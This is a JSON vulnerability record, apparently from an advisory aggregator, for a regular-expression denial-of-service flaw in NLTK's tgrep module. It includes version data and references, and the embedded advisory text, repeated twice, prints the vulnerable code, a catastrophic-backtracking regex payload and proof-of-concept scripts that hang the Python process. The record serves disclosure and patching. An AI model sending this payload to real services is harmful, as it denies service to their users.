{"id":"CVE-2026-80206","aliases":["DEBIAN-CVE-2026-80206","EUVD-2026-66397","GHSA-vf76-f5cp-9846","GHSA-w3v8-gmh9-3wv7","PYSEC-2026-3751","UBUNTU-CVE-2026-80206"],"status":"published","title":"NLTK 3.10.2 Regular Expression Denial of Service via tgrep","description":"NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","severity":{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.0044,"percentile":0.38597,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333"],"published":"2026-08-26T10:28:15Z","modified":"2026-10-28T02:31:04Z","fixes":[{"ecosystem":"PyPI","package":"nltk","fixed_in":["3.10.3"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"nltk","fixed_in":["3.10.3-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.10.2"},{"fixed":"3.10.3"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.8-1","3.8.1-1","3.9.1-1","3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"Debian:13","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"Debian:14","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3-1"}]}],"versions":["3.10.0-1","3.10.1-1","3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"]},{"source":"osv","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0~b9-0ubuntu4","2.0~b9-0ubuntu4.1~esm2","2.0~b9-0ubuntu4.1~esm4","2.0~b9-0ubuntu4.1~esm5","2.0~b9-0ubuntu4.1~esm6"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.0.4-1","3.0.5-1","3.1-1","3.1-1ubuntu0.1","3.1-1ubuntu0.1+esm1","3.1-1ubuntu0.1+esm2","3.1-1ubuntu0.1+esm3","3.1-1ubuntu0.1+esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.4-1","3.2.5-1","3.2.5-1ubuntu0.1","3.2.5-1ubuntu0.1+esm1","3.2.5-1ubuntu0.1+esm2","3.2.5-1ubuntu0.1+esm3","3.2.5-1ubuntu0.1+esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.4.5-1","3.4.5-2","3.4.5-2ubuntu0.1~esm1","3.4.5-2ubuntu0.1~esm2","3.4.5-2ubuntu0.1~esm3","3.4.5-2ubuntu0.1~esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.5-1","3.6.5-1","3.6.7-1","3.7-1","3.7-1ubuntu0.1~esm1","3.7-1ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.8.1-1","3.8.1-1ubuntu0.1~esm1","3.8.1-1ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.9.1-2","3.9.1-2build1","3.9.2-1","3.9.2-1ubuntu0.1~esm1","3.9.2-1ubuntu0.1~esm2"]}],"products":[{"vendor":"nltk","product":"nltk"}],"references":[{"url":"https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7","tags":["vendor-advisory","exploit","Exploit","Vendor Advisory","advisory","web","evidence","report"]},{"url":"https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep","tags":["third-party-advisory","Third Party Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80206","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-vf76-f5cp-9846"},{"url":"https://github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9","tags":["web"]},{"url":"https://github.com/nltk/nltk/releases/tag/v3.10.3","tags":["web"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-w3v8-gmh9-3wv7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/80xxx/CVE-2026-80206.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-80206","tags":["advisory"]},{"url":"https://github.com/nltk/nltk","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-80206","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-80206","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-80206","title":"NLTK 3.10.2 Regular Expression Denial of Service via tgrep","description":"NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","status":"published","published":"2026-08-26T10:28:15.035Z","modified":"2026-08-26T12:52:23.513Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T13:45:36.695039Z"}],"euvd":[{"id":"EUVD-2026-66397","description":"NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","status":"published","published":"2026-08-26T10:28:15Z","modified":"2026-08-26T12:52:23Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:31.267984Z"}],"ghsa":[{"id":"GHSA-vf76-f5cp-9846","title":"Duplicate Advisory: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-w3v8-gmh9-3wv7. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","status":"withdrawn","published":"2026-08-31T21:31:52Z","modified":"2026-09-02T14:49:38Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:41:10.121131Z"},{"id":"GHSA-w3v8-gmh9-3wv7","title":"NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions","description":"### Summary\nThe NLTK `tgrep` module accepts user-supplied regular expressions and passes them to the Python `re` engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the `tgrep` API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.\n\n### Affected Code\n`nltk/tgrep.py` — `_tgrep_node_action()` (around line 320)\n\nWhen a tgrep pattern contains a `/regex/` node, `_tgrep_node_action` compiles the embedded regex literal directly with no validation:\n\n```python\ndef _tgrep_node_action(_s, _l, tokens):\n    ...\n    elif tokens[0].startswith(\"/\"):\n        assert tokens[0].endswith(\"/\")\n        node_lit = tokens[0][1:-1]\n        return (\n            lambda r: lambda n, m=None, l=None: r.search(\n                _tgrep_node_literal_value(n)\n            )\n        )(re.compile(node_lit))  # User regex compiled and executed with no timeout\n```\nThe compiled regex is applied against every matching tree node label via `r.search(...)`. A caller reaching this path via `tgrep_positions()` or `tgrep_compile()` controls `node_lit` entirely.\n\n### Proof of Concept\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\n\n# Root node label is 25 'a' characters.\n# tgrep /regex/ branch calls re.compile(\"((a+)+)b\").search(\"aaa...a\")\n# No 'b' is present — exponential backtracking occurs.\ntree = nltk.Tree.fromstring(\"(\" + \"a\" * 25 + \" (NP (DT the)))\")\ntgrep_positions(r\"/((a+)+)b/\", [tree])   # Never returns\n```\n\n### Working Poc\n\nThe following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.\n\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\nimport time\n\ndef test_n(n):\n    tree = nltk.Tree.fromstring(\"(\" + \"a\" * n + \" (NP (DT the)))\")\n    pattern = r\"/((a+)+)b/\"\n    start = time.perf_counter()\n    list(tgrep_positions(pattern, [tree]))\n    return time.perf_counter() - start\n\nif __name__ == \"__main__\":\n    # Adjust the range if needed – these values complete quickly\n    n_values = [18, 20, 22, 24, 26, 28]\n    print(f\"Testing n = {n_values}\\n\")\n\n    times = []\n    for n in n_values:\n        t = test_n(n)\n        times.append((n, t))\n        print(f\"n={n:2d} done\", flush=True)\n\n    print(\"\\n--- Increase factors (per step in n) ---\")\n    factors = []\n    for i in range(1, len(times)):\n        prev_n, prev_t = times[i-1]\n        curr_n, curr_t = times[i]\n        factor = curr_t / prev_t\n        factors.append((curr_n, factor))\n        print(f\"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})\")\n\n    avg = sum(f for _, f in factors) / len(factors)\n    print(f\"\\nAverage factor: {avg:.2f}x\")\n    print(\"\\n✅ Confirmed: exponential growth (catastrophic backtracking).\")\n    print(\"   Larger n (≥ 35) will hang indefinitely.\")\n```\n\nWhen run, the output shows a clear exponential increase (factor \u003e 3.0 per +2 in n), proving the vulnerability.\n\n\n### Impact\nIn environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.\n\n### Remediation\nThis issue remains unfixed in versions `\u003c= 3.10.2`. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)","status":"published","published":"2026-09-08T20:28:28Z","modified":"2026-09-08T20:28:30Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:41:13.477974Z"}],"nvd":[{"id":"CVE-2026-80206","description":"NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","status":"published","published":"2026-08-26T11:16:40.103Z","modified":"2026-09-01T20:07:46.19Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"secondary"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:12:41.66469Z"}],"osv":[{"id":"CVE-2026-80206","title":"NLTK 3.10.2 Regular Expression Denial of Service via tgrep","description":"NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","status":"published","published":"2026-08-26T10:28:15.035Z","modified":"2026-10-28T02:31:04.043033981Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:45:17.44708Z"},{"id":"DEBIAN-CVE-2026-80206","description":"NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","status":"published","published":"2026-08-26T11:16:40.103Z","modified":"2026-10-01T03:03:35.359994111Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:46:04.001673Z"},{"id":"GHSA-vf76-f5cp-9846","title":"Duplicate Advisory: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-w3v8-gmh9-3wv7. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","status":"withdrawn","published":"2026-08-31T21:31:52Z","modified":"2026-09-02T15:00:10.493044311Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"},{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:46:56.981655Z"},{"id":"GHSA-w3v8-gmh9-3wv7","title":"NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions","description":"### Summary\nThe NLTK `tgrep` module accepts user-supplied regular expressions and passes them to the Python `re` engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the `tgrep` API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.\n\n### Affected Code\n`nltk/tgrep.py` — `_tgrep_node_action()` (around line 320)\n\nWhen a tgrep pattern contains a `/regex/` node, `_tgrep_node_action` compiles the embedded regex literal directly with no validation:\n\n```python\ndef _tgrep_node_action(_s, _l, tokens):\n    ...\n    elif tokens[0].startswith(\"/\"):\n        assert tokens[0].endswith(\"/\")\n        node_lit = tokens[0][1:-1]\n        return (\n            lambda r: lambda n, m=None, l=None: r.search(\n                _tgrep_node_literal_value(n)\n            )\n        )(re.compile(node_lit))  # User regex compiled and executed with no timeout\n```\nThe compiled regex is applied against every matching tree node label via `r.search(...)`. A caller reaching this path via `tgrep_positions()` or `tgrep_compile()` controls `node_lit` entirely.\n\n### Proof of Concept\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\n\n# Root node label is 25 'a' characters.\n# tgrep /regex/ branch calls re.compile(\"((a+)+)b\").search(\"aaa...a\")\n# No 'b' is present — exponential backtracking occurs.\ntree = nltk.Tree.fromstring(\"(\" + \"a\" * 25 + \" (NP (DT the)))\")\ntgrep_positions(r\"/((a+)+)b/\", [tree])   # Never returns\n```\n\n### Working Poc\n\nThe following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.\n\n```python\nimport nltk\nfrom nltk.tgrep import tgrep_positions\nimport time\n\ndef test_n(n):\n    tree = nltk.Tree.fromstring(\"(\" + \"a\" * n + \" (NP (DT the)))\")\n    pattern = r\"/((a+)+)b/\"\n    start = time.perf_counter()\n    list(tgrep_positions(pattern, [tree]))\n    return time.perf_counter() - start\n\nif __name__ == \"__main__\":\n    # Adjust the range if needed – these values complete quickly\n    n_values = [18, 20, 22, 24, 26, 28]\n    print(f\"Testing n = {n_values}\\n\")\n\n    times = []\n    for n in n_values:\n        t = test_n(n)\n        times.append((n, t))\n        print(f\"n={n:2d} done\", flush=True)\n\n    print(\"\\n--- Increase factors (per step in n) ---\")\n    factors = []\n    for i in range(1, len(times)):\n        prev_n, prev_t = times[i-1]\n        curr_n, curr_t = times[i]\n        factor = curr_t / prev_t\n        factors.append((curr_n, factor))\n        print(f\"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})\")\n\n    avg = sum(f for _, f in factors) / len(factors)\n    print(f\"\\nAverage factor: {avg:.2f}x\")\n    print(\"\\n✅ Confirmed: exponential growth (catastrophic backtracking).\")\n    print(\"   Larger n (≥ 35) will hang indefinitely.\")\n```\n\nWhen run, the output shows a clear exponential increase (factor \u003e 3.0 per +2 in n), proving the vulnerability.\n\n\n### Impact\nIn environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.\n\n### Remediation\nThis issue remains unfixed in versions `\u003c= 3.10.2`. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)","status":"published","published":"2026-09-08T20:28:28Z","modified":"2026-09-08T20:45:04.333988177Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:46:58.04805Z"},{"id":"PYSEC-2026-3751","description":"NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","status":"published","published":"2026-08-26T11:16:40.103Z","modified":"2026-09-02T09:00:05.019508486Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:57.255153Z"},{"id":"UBUNTU-CVE-2026-80206","description":"NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","status":"published","published":"2026-08-26T11:16:00Z","modified":"2026-09-02T19:36:34.390575087Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"medium"},{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:57:18.015985Z"}]}}